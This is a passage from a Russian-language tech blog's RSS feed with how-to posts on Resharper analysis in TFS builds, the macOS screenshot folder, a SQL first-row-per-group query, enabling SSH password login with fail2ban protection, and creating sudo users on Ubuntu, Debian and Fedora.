<li><code>datepart</code> нельзя передать в переменной: <code>DATEADD(@part, -1, GETDATE())</code> падает с ошибкой «Invalid parameter 1 specified for dateadd». Варианты перебирайте в <code>CASE</code>.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Интеграция анализа качества кода Resharper в TFS/VSTS</title>
      <link>https://koz.tv/ru/posts/integratsiya-analiza-kachestva-koda-resharper-v-tfs-vsts/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/integratsiya-analiza-kachestva-koda-resharper-v-tfs-vsts/</guid>
      <pubDate>Tue, 15 May 2018 00:00:00 GMT</pubDate>
      <description>Чтобы код проекта был качественнее, каждую сборку полезно проверять анализатором, например Resharper Code Quality Analysis.</description>
      <content:encoded><![CDATA[<p>Чтобы код проекта был качественнее, каждую сборку полезно проверять анализатором, например <a href="https://marketplace.visualstudio.com/items?itemName=alanwales.resharper-code-analysis" target="_blank" rel="noopener">Resharper Code Quality Analysis</a>.</p>
<p><a href="https://marketplace.visualstudio.com/items?itemName=alanwales.resharper-code-analysis" title="Resharper Code Quality Analysis" target="_blank" rel="noopener">Установить Resharper Code Quality Analysis</a></p>
<p>Добавьте в определение сборки проекта ещё один шаг — после шага сборки:</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1-480.avif 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1.avif 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1-480.webp" alt="Новый шаг сборки" width="903" height="397" style="aspect-ratio:903/397" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1-480.webp 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1.webp 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Затем заполните «Path to .sln or .csproj file». Путь есть в логе шага сборки. Обычно это «YourProjectName» + .sln или «YourProjectName\YourProjectName» + .sln</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2-480.avif 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2.avif 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2-480.webp" alt="Path to .sln or .csproj file" width="903" height="397" style="aspect-ratio:903/397" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2-480.webp 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2.webp 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>System.Management.Automation.MethodInvocationException: Exception calling “GetFullPath” with “1” argument(s): “Illegal characters in path.” —&gt; System.ArgumentException: Illegal characters in path.</p>
<p>Поставьте «Fail build severity» в «Error», если сборка должна падать только при критичных проблемах.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3-480.avif 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3.avif 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3-480.webp" alt="Fail build severity" width="903" height="397" style="aspect-ratio:903/397" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3-480.webp 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3.webp 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Как изменить папку для скриншотов на Mac</title>
      <link>https://koz.tv/ru/posts/izmenenie-papki-dlya-skrinshotov-na-mac/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/izmenenie-papki-dlya-skrinshotov-na-mac/</guid>
      <pubDate>Thu, 01 Feb 2018 00:00:00 GMT</pubDate>
      <description>По умолчанию Mac сохраняет скриншоты на рабочий стол. Как выбрать другую папку: Shift-Command-5 → Параметры или команда в Терминале. Ещё: буфер, формат, имя.</description>
      <content:encoded><![CDATA[<p>По умолчанию Mac сохраняет скриншоты на рабочий стол. Чтобы сменить папку в macOS Mojave 10.14 и новее, нажмите <strong>Shift-Command-5</strong>, откройте <strong>Параметры</strong>, в разделе <strong>Место сохранения</strong> нажмите <strong>Другое расположение…</strong> и выберите папку. Теперь туда попадают все скриншоты, в том числе снятые через Shift-Command-3 и Shift-Command-4.</p>
<p>То же через Терминал, в любой версии macOS:</p>
<pre><code class="language-bash">mkdir -p ~/Screenshots
defaults write com.apple.screencapture location ~/Screenshots
killall SystemUIServer
</code></pre>
<p>Вместо <code>~/Screenshots</code> подставьте свою папку. Названия пунктов меню — по macOS Tahoe 26.1.</p>
<h2>Как сменить папку через Shift-Command-5</h2>
<ol>
<li>Нажмите Shift-Command-5. Откроется панель «Снимок экрана».</li>
<li>Нажмите <strong>Параметры</strong>.</li>
<li>В разделе <strong>Место сохранения</strong> выберите «Рабочий стол» или «Документы». Для своей папки нажмите <strong>Другое расположение…</strong>: в этом же окне можно создать новую.</li>
<li>Закройте панель клавишей Esc.</li>
</ol>
<p>Выбор сохраняется, пока вы его не поменяете. Остальные пункты — «Буфер обмена», «Почта», «Сообщения» и «Просмотр» — отправляют снимок в буфер или в приложение, а не в папку.</p>
<p>Если сочетание клавиш у вас занято, откройте «Снимок экрана» из папки «Программы» → «Утилиты». В macOS High Sierra 10.13 и более ранних версиях этого приложения нет, там подойдёт только Терминал.</p>
<h2>Как изменить папку для скриншотов через Терминал</h2>
<p>Сначала создайте папку, потом укажите её системе. Чтобы не ошибиться в пути, наберите команду с пробелом в конце и перетащите папку из Finder в окно Терминала. Полный путь появится в командной строке. Нажмите Return.</p>
<pre><code class="language-bash">defaults write com.apple.screencapture location ~/Documents/Screenshots
</code></pre>
<p>При перетаскивании Терминал сам экранирует пробелы, кавычки не нужны. Если набираете путь вручную и в нём есть пробелы, возьмите его в кавычки. Внутри кавычек шелл не раскрывает <code>~</code>, поэтому пишите <code>$HOME</code>:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture location &quot;$HOME/Pictures/Screen shots&quot;
</code></pre>
<p>Потом примените настройку:</p>
<pre><code class="language-bash">killall SystemUIServer
</code></pre>
<p>SystemUIServer обрабатывает сочетания клавиш для скриншотов. macOS сразу запускает его заново, уже с новыми настройками. Программы при этом не закрываются.</p>
<p>Оба способа меняют одну и ту же настройку — <code>location</code> в <code>com.apple.screencapture</code>, поэтому действует последнее заданное значение. Папку macOS не учитывает, если в разделе <strong>Место сохранения</strong> выбран буфер обмена или приложение. Что с этим делать — в «Частых ошибках» ниже. Текущее значение показывает команда:</p>
<pre><code class="language-bash">defaults read com.apple.screencapture location
</code></pre>
<p>Ответ <code>The domain/default pair of (com.apple.screencapture, location) does not exist</code> значит, что папку не меняли и это по-прежнему рабочий стол.</p>
<h2>Как вернуть скриншоты на рабочий стол</h2>
<p>Удалите настройку, и macOS вернётся к папке по умолчанию — рабочему столу:</p>
<pre><code class="language-bash">defaults delete com.apple.screencapture location
killall SystemUIServer
</code></pre>
<p>Можно и явно задать путь к рабочему столу:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture location ~/Desktop
killall SystemUIServer
</code></pre>
<p>Без Терминала: Shift-Command-5, <strong>Параметры</strong>, <strong>Место сохранения</strong>, <strong>Рабочий стол</strong>.</p>
<h2>Как скопировать скриншот в буфер обмена вместо файла</h2>
<p>Добавьте Control к обычному сочетанию: Control-Shift-Command-3 снимает весь экран, Control-Shift-Command-4 — выбранную область. Файл не создаётся, картинку вставляете через Command-V. Чтобы снимки всегда шли в буфер, выберите <strong>Буфер обмена</strong> в разделе <strong>Место сохранения</strong>.</p>
<h2>Скриншота ещё нет в папке</h2>
<p>После снимка в правом нижнем углу на несколько секунд появляется миниатюра. Файл сохраняется, когда она исчезнет. Чтобы сохранить сразу, смахните миниатюру вправо. Если она мешает, снимите флажок «Отображать плавающую миниатюру» в <strong>Параметрах</strong> или выполните:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture show-thumbnail -bool false
</code></pre>
<h2>Формат, тень и имя файла</h2>
<p>Эти ключи лежат в том же <code>com.apple.screencapture</code>.</p>
<p>Формат. По умолчанию PNG, ещё подходят <code>jpg</code>, <code>heic</code>, <code>pdf</code> и <code>tiff</code>:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture type jpg
</code></pre>
<p>Убрать тень вокруг окна, которое снимаете через Shift-Command-4 и пробел:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture disable-shadow -bool true
</code></pre>
<p>Имя файла начинается со слов «Снимок экрана» (в английской системе Screenshot), дальше идут дата и время. Префикс можно заменить, а дату убрать. Тогда файлы нумеруются: Shot.png, Shot 1.png.</p>
<pre><code class="language-bash">defaults write com.apple.screencapture name &quot;Shot&quot;
defaults write com.apple.screencapture include-date -bool false
</code></pre>
<p>После этих команд тоже нужен <code>killall SystemUIServer</code>. Чтобы вернуть настройку по умолчанию, удалите её ключ, например <code>defaults delete com.apple.screencapture type</code>.</p>
<h2>Частые ошибки</h2>
<ul>
<li>Пропустили слово <code>location</code>: <code>defaults write com.apple.screencapture ~/Screenshots</code> выдаёт <code>Rep argument is not a dictionary</code> и <code>Defaults have not been changed.</code> Сначала ключ, потом путь.</li>
<li>После команды в Терминале скриншоты всё равно попадают в буфер или открываются в приложении. Значит, в разделе <strong>Место сохранения</strong> выбран «Буфер обмена», «Почта», «Сообщения» или «Просмотр», а команда с <code>location</code> этот выбор не меняет. Выберите папку в <strong>Параметрах</strong> или выполните <code>defaults write com.apple.screencapture target file</code> и затем <code>killall SystemUIServer</code>.</li>
<li>Папку удалили, переименовали, или она лежит на отключённом диске. Скриншоты перестают сохраняться. Если macOS не может записать файл в папку, она пишет, что у вас нет прав сохранять файлы туда, где хранятся снимки экрана. Создайте папку заново, выберите другую или верните рабочий стол.</li>
<li>Ищете файл, пока на экране висит миниатюра. Он появится через несколько секунд.</li>
</ul>
<p>Другие мои настройки для нового Mac: <a href="https://koz.tv/ru/posts/nastroyka-chistogo-macbook/">Настройка чистого MacBook</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Как выбрать первую строку в каждой группе с сортировкой по столбцам</title>
      <link>https://koz.tv/ru/posts/kak-vybrat-pervuyu-stroku-v-kazhdoy-gruppe-s-sortirovkoy-po-/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/kak-vybrat-pervuyu-stroku-v-kazhdoy-gruppe-s-sortirovkoy-po-/</guid>
      <pubDate>Wed, 31 Jan 2018 00:00:00 GMT</pubDate>
      <description>Покажу на примере, как выбрать первую строку в каждой группе логинов, отсортированных по столбцам IsActive и Created. Есть таблица.</description>
      <content:encoded><![CDATA[<p>Покажу на примере, как выбрать первую строку в каждой группе логинов, отсортированных по столбцам IsActive и Created.</p>
<p>Есть таблица:</p>
<pre><code class="language-text">Id | Login | IsActive | Created
1  | test1 | 1        | 2016-01-01
2  | test1 | 0        | 2015-05-21
3  | test2 | 0        | 2016-07-03
4  | test2 | 0        | 2017-01-22
</code></pre>
<p>Нужна одна строка на логин — та, где логин активен. Если активной строки нет, беру созданную последней. Здесь это строки 1 и 4.</p>
<p>Задачу решает такой скрипт:</p>
<pre><code class="language-sql">with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM cte where [r] = 1
</code></pre>
<p><strong>rank() over</strong> сортирует строки в нужном порядке и записывает номер в столбец [r]. Затем я беру первую строку каждой группы: <code>SELECT * FROM cte where [r] = 1</code>.</p>
<p>Чтобы использовать это в join, поставьте блок &quot;with&quot; сверху:</p>
<pre><code class="language-sql">with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM Employees emp
LEFT JOIN (SELECT * FROM cte where [r] = 1) u on emp.[Login]=u.[Login]
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Как разрешить вход по паролю в SSH: Ubuntu и Debian</title>
      <link>https://koz.tv/ru/posts/razreshit-ssh-autentifikatsiyu-po-parolyu-na-udalyonnom-serv/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/razreshit-ssh-autentifikatsiyu-po-parolyu-na-udalyonnom-serv/</guid>
      <pubDate>Mon, 04 Dec 2017 00:00:01 GMT</pubDate>
      <description>Как включить вход по паролю в SSH на Ubuntu 24.04/26.04 и Debian, почему файл из sshd_config.d перебивает sshd_config, вход под root, fail2ban.</description>
      <content:encoded><![CDATA[<p>Три команды на сервере:</p>
<pre><code class="language-bash">echo &#39;PasswordAuthentication yes&#39; | sudo tee /etc/ssh/sshd_config.d/00-password.conf
sudo sshd -T | grep -i passwordauthentication
sudo systemctl restart ssh
</code></pre>
<p>Вторая должна вывести <code>passwordauthentication yes</code>. В Ubuntu 24.04 вместо этого может появиться <code>Missing privilege separation directory: /run/sshd</code>: выполните <code>sudo systemctl start ssh</code> и повторите проверку. В Fedora, RHEL и AlmaLinux служба называется <code>sshd</code>: <code>sudo systemctl restart sshd</code>. Теперь подключитесь со своего компьютера:</p>
<pre><code class="language-bash">ssh alice@server
</code></pre>
<p>Не закрывайте текущую сессию, пока вход по паролю не заработает. Если новый конфиг сломан, через эту сессию вы его почините.</p>
<p>Я проверил всё на Ubuntu 24.04 и 26.04, Debian 12 и 13: входил по паролю с другого хоста.</p>
<h2>Почему PasswordAuthentication yes в sshd_config не работает</h2>
<p>В 2017 году я советовал здесь поправить <code>/etc/ssh/sshd_config</code>. На облачном сервере это часто ничего не меняет. В начале этого файла в Ubuntu, Debian, Fedora и RHEL 9+ стоит строка:</p>
<pre><code class="language-ini">Include /etc/ssh/sshd_config.d/*.conf
</code></pre>
<p>В RHEL 8 и CentOS 7 нет ни этой строки, ни каталога <code>sshd_config.d</code>: первая команда из начала статьи выдаст <code>No such file or directory</code>. Пропишите <code>PasswordAuthentication yes</code> прямо в <code>/etc/ssh/sshd_config</code>.</p>
<p>Для каждой опции sshd берёт первое найденное значение (<a href="https://manpages.ubuntu.com/manpages/noble/man5/sshd_config.5.html" target="_blank" rel="noopener">sshd_config(5)</a>). Файлы из <code>sshd_config.d</code> он читает раньше основного, по алфавиту. Если в одном из них написано <code>no</code>, правка в <code>sshd_config</code> не сработает. В облачных образах это обычно <code>50-cloud-init.conf</code>: его пишет cloud-init по настройке <code>ssh_pwauth</code>. Мой файл называется <code>00-password.conf</code>, чтобы оказаться в списке первым.</p>
<p>Кто задаёт опцию, покажет команда:</p>
<pre><code class="language-bash">sudo sh -c &#39;grep -i passwordauthentication /etc/ssh/sshd_config.d/*.conf /etc/ssh/sshd_config&#39;
</code></pre>
<p>Действует первая строка без <code>#</code>, и <code>no</code> можно заменить на <code>yes</code> в ней же. sshd читает только файлы с расширением <code>.conf</code>: файл <code>00-password</code> он пропустит.</p>
<p>Без <code>sh -c</code> шаблон <code>*.conf</code> раскрывает ваша оболочка, ещё до sudo. В Fedora и RHEL 9+ содержимое <code>sshd_config.d</code> видит только root, поэтому grep выдаст <code>No such file or directory</code> и покажет один основной файл.</p>
<p><code>sshd -T</code> показывает новое значение ещё до перезапуска. Запущенный sshd работает со старым, пока его не перезапустят.</p>
<h2>Как подключиться по SSH с паролем</h2>
<p>На своём компьютере:</p>
<pre><code class="language-bash">ssh alice@server
</code></pre>
<p>Вместо <code>alice</code> подставьте своего пользователя на сервере, вместо <code>server</code> — IP-адрес или домен сервера. При первом подключении ssh покажет отпечаток ключа сервера: ответьте <code>yes</code>. Потом он спросит пароль. Символы при вводе не отображаются.</p>
<p>Если на компьютере есть SSH-ключи, ssh сначала пробует их. Чтобы сразу перейти к паролю:</p>
<pre><code class="language-bash">ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no alice@server
</code></pre>
<h2>Перезапуск SSH в Ubuntu 24.04: ssh, а не sshd</h2>
<p>С версии 22.10 Ubuntu <a href="https://discourse.ubuntu.com/t/sshd-now-uses-socket-based-activation-ubuntu-22-10-and-later/30189" target="_blank" rel="noopener">запускает sshd через сокет</a>: порт 22 слушает systemd (<code>ssh.socket</code>), а <code>ssh.service</code> стартует при первом подключении. В 24.04 из-за этого:</p>
<ul>
<li><code>sudo systemctl restart sshd</code> падает с ошибкой <code>Unit sshd.service not found</code>. В Ubuntu 26.04 и Debian работают оба имени.</li>
<li><code>sudo systemctl reload ssh</code> отвечает <code>ssh.service is not active, cannot reload</code>, если после загрузки ещё никто не подключался. <code>restart</code> работает в обоих случаях.</li>
<li><code>sudo sshd -t</code> и <code>sudo sshd -T</code> по той же причине пишут <code>Missing privilege separation directory: /run/sshd</code>: systemd создаёт этот каталог, когда запускает <code>ssh.service</code>, и удаляет, когда служба останавливается. Выполните <code>sudo systemctl start ssh</code> и повторите.</li>
</ul>
<p>Если меняете <code>Port</code> или <code>ListenAddress</code>, нужны ещё <code>sudo systemctl daemon-reload</code> и <code>sudo systemctl restart ssh.socket</code>. Так написано в README.Debian пакета.</p>
<p>Перед перезапуском запускайте <code>sudo sshd -t</code>. Если конфиг в порядке, команда ничего не выводит, иначе называет файл и строку с ошибкой. С опечаткой перезапуск не пройдёт и сервер перестанет принимать новые подключения, но открытые сессии останутся.</p>
<h2>Как разрешить вход под root по паролю</h2>
<p>Для root одного <code>PasswordAuthentication yes</code> мало. По умолчанию стоит <code>PermitRootLogin prohibit-password</code>: root входит только по ключу, а на верный пароль сервер отвечает <code>Permission denied, please try again</code>. В выводе <code>sshd -T</code> это значение может называться по-старому, <code>without-password</code>. Разрешаем вход:</p>
<pre><code class="language-bash">echo &#39;PasswordAuthentication yes&#39; | sudo tee /etc/ssh/sshd_config.d/00-password.conf
echo &#39;PermitRootLogin yes&#39; | sudo tee /etc/ssh/sshd_config.d/00-root.conf
sudo passwd root
sudo systemctl restart ssh
</code></pre>
<p>Первая команда та же, что в начале статьи. Без неё сработает <code>no</code> из <code>50-cloud-init.conf</code>, и root получит <code>Permission denied (publickey)</code>.</p>
<p>В Ubuntu у root <a href="https://ubuntu.com/server/docs/how-to/security/user-management/" target="_blank" rel="noopener">нет рабочего пароля</a> сразу после установки, поэтому <code>passwd</code> обязателен. Безопаснее завести обычного пользователя с sudo: <a href="https://koz.tv/ru/posts/sozdanie-administratora-v-ubuntu-linux/">как создать администратора</a>.</p>
<h2>Пароль только для одного пользователя или сети</h2>
<p>Чтобы пускать по паролю только одного пользователя или только из домашней сети, добавьте в конец <code>/etc/ssh/sshd_config</code>:</p>
<pre><code class="language-ini">Match User alice
    PasswordAuthentication yes

Match Address 192.168.1.0/24
    PasswordAuthentication yes
</code></pre>
<p>Блок <code>Match</code> действует до следующего <code>Match</code> или до конца файла. Его значения перебивают глобальные, в том числе <code>no</code> из <code>50-cloud-init.conf</code>. Что получит конкретное подключение, покажет команда:</p>
<pre><code class="language-bash">sudo sshd -T -C user=alice,host=laptop,addr=203.0.113.5 | grep -i passwordauthentication
</code></pre>
<h2>Пароль верный, а войти не получается</h2>
<ul>
<li><strong>У пользователя нет пароля.</strong> Пользователя по умолчанию, например <code>ubuntu</code>, cloud-init создаёт с <a href="https://docs.cloud-init.io/en/latest/reference/modules.html" target="_blank" rel="noopener">заблокированным</a> входом по паролю. Задайте пароль: <code>sudo passwd ubuntu</code>.</li>
<li><strong><code>Too many authentication failures</code>.</strong> ssh-agent сначала предлагает серверу все ключи, и после шести неудач сервер рвёт соединение. Отключите ключи опцией <code>-o PubkeyAuthentication=no</code>, как в разделе «Как подключиться по SSH с паролем» выше.</li>
<li><strong><code>Permission denied (publickey)</code> без запроса пароля.</strong> Сервер не принимает пароли, проверьте <code>sshd -T</code>. Какие способы входа он предлагает, покажет <code>ssh -o BatchMode=yes alice@server</code>: если в скобках есть <code>password</code>, пароли включены.</li>
</ul>
<h2>Нужен ли KbdInteractiveAuthentication</h2>
<p>Для входа по паролю не нужен: хватит <code>PasswordAuthentication yes</code>, а в Ubuntu и Debian по умолчанию стоит <code>KbdInteractiveAuthentication no</code>. Эта опция важна, когда пароли выключаете. При <code>UsePAM yes</code> (так в конфиге Ubuntu и Debian) <code>KbdInteractiveAuthentication yes</code> всё равно спросит пароль через PAM, поэтому выключайте обе. В старых конфигах, например в <code>50-redhat.conf</code> на AlmaLinux, у неё прежнее имя: <code>ChallengeResponseAuthentication</code>.</p>
<h2>Можно ли записать пароль в ~/.ssh/config</h2>
<p>Нет, такой опции у клиента нет: на <code>Password</code> ssh ответит <code>Bad configuration option: password</code>. Пока вход по паролю открыт, скопируйте на сервер ключ:</p>
<pre><code class="language-bash">ssh-copy-id alice@server
</code></pre>
<p>Ключа ещё нет? Его создаст <code>ssh-keygen -t ed25519</code> (<a href="https://koz.tv/ru/posts/kak-sgenerirovat-i-skopirovat-ssh-klyuch-v-mac-os/">подробнее про SSH-ключи на Mac</a>). Если скрипт не может войти по ключу, <code>sshpass -e</code> возьмёт пароль из переменной <code>SSHPASS</code>:</p>
<pre><code class="language-bash">SSHPASS=&quot;$SERVER_PASSWORD&quot; sshpass -e ssh -o StrictHostKeyChecking=accept-new alice@server
</code></pre>
<p><code>accept-new</code> сохраняет ключ сервера, к которому ssh ещё не подключался. Без этой опции первое подключение остановится на вопросе о ключе хоста, и sshpass молча завершится с кодом 6.</p>
<h2>Защита от перебора: fail2ban</h2>
<p>Пароль можно подобрать. Ставьте длинный и включите fail2ban:</p>
<pre><code class="language-bash">sudo apt install fail2ban
sudo fail2ban-client status sshd
</code></pre>
<p>В Ubuntu 24.04, 26.04 и Debian 13 jail <code>sshd</code> работает сразу после установки: после пяти неудачных попыток за 10 минут IP блокируется на 10 минут. В Debian 12 fail2ban не запускается: <code>Have not found any log file for sshd jail</code>. Debian 12 <a href="https://www.debian.org/releases/bookworm/amd64/release-notes/ch-information.ru.html#changes-to-system-logging" target="_blank" rel="noopener">не ставит rsyslog</a>, и файла <code>/var/log/auth.log</code> нет. Переключите fail2ban на журнал systemd и nftables, как в Debian 13:</p>
<pre><code class="language-bash">printf &#39;[DEFAULT]\nbanaction = nftables\nbanaction_allports = nftables[type=allports]\nbackend = systemd\n&#39; | sudo tee /etc/fail2ban/jail.local
sudo systemctl restart fail2ban
</code></pre>
<p>Когда ключ уже на сервере, выключите пароли: впишите <code>PasswordAuthentication no</code> и <code>KbdInteractiveAuthentication no</code> в <code>00-password.conf</code> и перезапустите ssh.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Как создать администратора (sudo) в Ubuntu и Linux</title>
      <link>https://koz.tv/ru/posts/sozdanie-administratora-v-ubuntu-linux/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/sozdanie-administratora-v-ubuntu-linux/</guid>
      <pubDate>Mon, 04 Dec 2017 00:00:00 GMT</pubDate>
      <description>Как создать пользователя с правами администратора в Ubuntu 24.04 и 26.04, Debian (группа sudo), Fedora и RHEL (wheel). Скрипты, sudo без пароля, SSH-ключ.</description>
      <content:encoded><![CDATA[<p>Две команды от пользователя, у которого уже есть sudo:</p>
<pre><code class="language-bash">sudo adduser alice
sudo usermod -aG sudo alice
</code></pre>
<p>Вместо <code>alice</code> подставьте нужное имя. В Ubuntu (24.04 и 26.04 LTS) и Debian этого хватит: <code>/etc/sudoers</code> даёт группе <code>sudo</code> все права root. В Fedora, RHEL, CentOS, Rocky и AlmaLinux группа называется <code>wheel</code>.</p>
<p>Я проверил все команды на Ubuntu 24.04 и 26.04, Debian 12 и 13, Fedora 45, AlmaLinux 9 и 10.</p>
<h2>Что спрашивает adduser</h2>
<p><code>adduser</code> создаёт группу и домашнюю директорию пользователя, ставит шелл <code>/bin/bash</code> и спрашивает:</p>
<ul>
<li>пароль, два раза;</li>
<li>Full Name, Room Number, Work Phone, Home Phone, Other — каждое поле можно пропустить по Enter;</li>
<li><code>Is the information correct? [Y/n]</code> — Enter.</li>
</ul>
<p>Вместо <code>usermod</code> можно написать <code>sudo adduser alice sudo</code>: сначала пользователь, потом группа.</p>
<h2>Как создать администратора без вопросов</h2>
<p>В скриптах удобнее <code>useradd</code>. Без <code>-m</code> он не создаст домашнюю директорию, а шелл по умолчанию в Ubuntu — <code>/bin/sh</code>. Поэтому оба флага пишем явно:</p>
<pre><code class="language-bash">sudo useradd -m -s /bin/bash -G sudo alice
sudo passwd alice
</code></pre>
<p><code>passwd</code> спрашивает пароль в терминале. В скрипте берите <code>chpasswd</code>, а пароль держите в переменной, чтобы его не было в тексте скрипта и в списке процессов:</p>
<pre><code class="language-bash">printf &#39;%s:%s\n&#39; alice &quot;$ALICE_PASSWORD&quot; | sudo chpasswd
</code></pre>
<p>Именно <code>printf</code>, а не <code>echo</code>: в <code>/bin/sh</code> на Ubuntu и Debian <code>echo</code> портит обратные слэши в пароле.</p>
<p>Для аккаунта, который будет входить только по SSH-ключу:</p>
<pre><code class="language-bash">sudo adduser --disabled-password --gecos &quot;&quot; alice
sudo usermod -aG sudo alice
</code></pre>
<p>Пароля у такого пользователя нет, а <code>sudo</code> его спросит. Задайте пароль командой <code>sudo passwd alice</code> или настройте sudo без пароля (ниже).</p>
<h2>Как проверить, что у пользователя есть sudo</h2>
<pre><code class="language-bash">groups alice
sudo -l -U alice
</code></pre>
<p>В выводе <code>groups</code> должна быть группа <code>sudo</code> (в Fedora и RHEL — <code>wheel</code>), а в выводе <code>sudo -l -U</code> — строка <code>(ALL : ALL) ALL</code> (в Fedora и RHEL — <code>(ALL) ALL</code>). Для обычного пользователя будет <code>User alice is not allowed to run sudo</code>. Последняя проверка — войти под alice и запустить команду через sudo:</p>
<pre><code class="language-bash">su - alice
sudo whoami   # выведет root
</code></pre>
<h2>«alice is not in the sudoers file»: нужно перелогиниться</h2>
<p>В классическом sudo (Ubuntu 24.04, Debian, Fedora, RHEL) новые группы подхватываются только при входе в систему. Если у alice уже открыта сессия, <code>usermod</code> её не изменит: <code>groups</code> внутри сессии покажет старый список, а sudo ответит <code>alice is not in the sudoers file</code>. Пусть выйдет и зайдёт заново или переподключится по SSH. Команда <code>groups alice</code> читает <code>/etc/group</code> и показывает <code>sudo</code> сразу, поэтому по ней проблему не видно.</p>
<p>В Ubuntu 26.04 по умолчанию стоит sudo-rs. Он читает <code>/etc/group</code> при каждом вызове, так что в открытой сессии права появляются сразу. Пользователю без прав он отвечает <code>I&#39;m sorry alice. I&#39;m afraid I can&#39;t do that</code>.</p>
<h2>Debian: если sudo не установлен</h2>
<p>Те же команды и та же группа <code>sudo</code>. Подвох в установщике: если задать пароль root, он не ставит sudo и не добавляет вашего пользователя в группу. Исправляем из-под root:</p>
<pre><code class="language-bash">su -
apt install sudo
usermod -aG sudo alice
</code></pre>
<p>Пишите <code>su -</code> с дефисом. Обычный <code>su</code> в Debian оставляет ваш <code>PATH</code> без <code>/usr/sbin</code>, и вы получите <code>usermod: command not found</code>.</p>
<h2>Fedora, RHEL, CentOS: группа wheel</h2>
<pre><code class="language-bash">sudo useradd alice
sudo passwd alice
sudo usermod -aG wheel alice
</code></pre>
<p>Здесь <code>adduser</code> — ссылка на <code>useradd</code>. Он ничего не спрашивает и оставляет аккаунт без пароля, так что <code>passwd</code> не пропускайте. Домашнюю директорию он создаёт сам, шелл по умолчанию — <code>/bin/bash</code>.</p>
<h2>sudo без пароля</h2>
<p>Правило кладём в <code>/etc/sudoers.d</code>, но сначала проверяем синтаксис:</p>
<pre><code class="language-bash">t=$(mktemp)
echo &#39;alice ALL=(ALL) NOPASSWD:ALL&#39; &gt; &quot;$t&quot;
sudo visudo -cf &quot;$t&quot; &amp;&amp; sudo install -m 0440 &quot;$t&quot; /etc/sudoers.d/alice
rm &quot;$t&quot;
</code></pre>
<p><code>visudo -cf</code> выведет <code>parsed OK</code> или покажет, где ошибка. <code>mktemp</code> создаёт файл, в который можете писать только вы. Файл с постоянным именем вроде <code>/tmp/alice</code> может заранее создать другой пользователь, и вы установите его правило. Точку в имени файла не ставьте: sudo пропускает файлы в <code>/etc/sudoers.d</code>, в имени которых есть <code>.</code> или которые кончаются на <code>~</code>. Файл <code>alice.conf</code> молча не сработает. Если правите руками, открывайте через <code>sudo visudo -f /etc/sudoers.d/alice</code>: файл с ошибкой он не сохранит.</p>
<h2>SSH-ключ для нового пользователя</h2>
<p>Со своего компьютера, если сервер пускает по паролю (<a href="https://koz.tv/ru/posts/razreshit-ssh-autentifikatsiyu-po-parolyu-na-udalyonnom-serv/">как это включить</a>):</p>
<pre><code class="language-bash">ssh-copy-id alice@server
</code></pre>
<p>Ключа ещё нет? Его создаст <code>ssh-keygen -t ed25519</code> (<a href="https://koz.tv/ru/posts/kak-sgenerirovat-i-skopirovat-ssh-klyuch-v-mac-os/">подробнее про SSH-ключи на Mac</a>).</p>
<p>Если у alice нет пароля, <code>ssh-copy-id</code> не залогинится. Тогда добавьте ключ на сервере из-под администратора:</p>
<pre><code class="language-bash">sudo mkdir -p /home/alice/.ssh
echo &#39;ssh-ed25519 AAAA... you@laptop&#39; | sudo tee -a /home/alice/.ssh/authorized_keys
sudo chown -R alice:alice /home/alice/.ssh
sudo chmod 700 /home/alice/.ssh
sudo chmod 600 /home/alice/.ssh/authorized_keys
</code></pre>
<p>Если у <code>.ssh</code> или <code>authorized_keys</code> есть права на запись для всех (например, 777 или 666), sshd проигнорирует ключ и ответит <code>Permission denied</code>.</p>
<h2>Как забрать права администратора</h2>
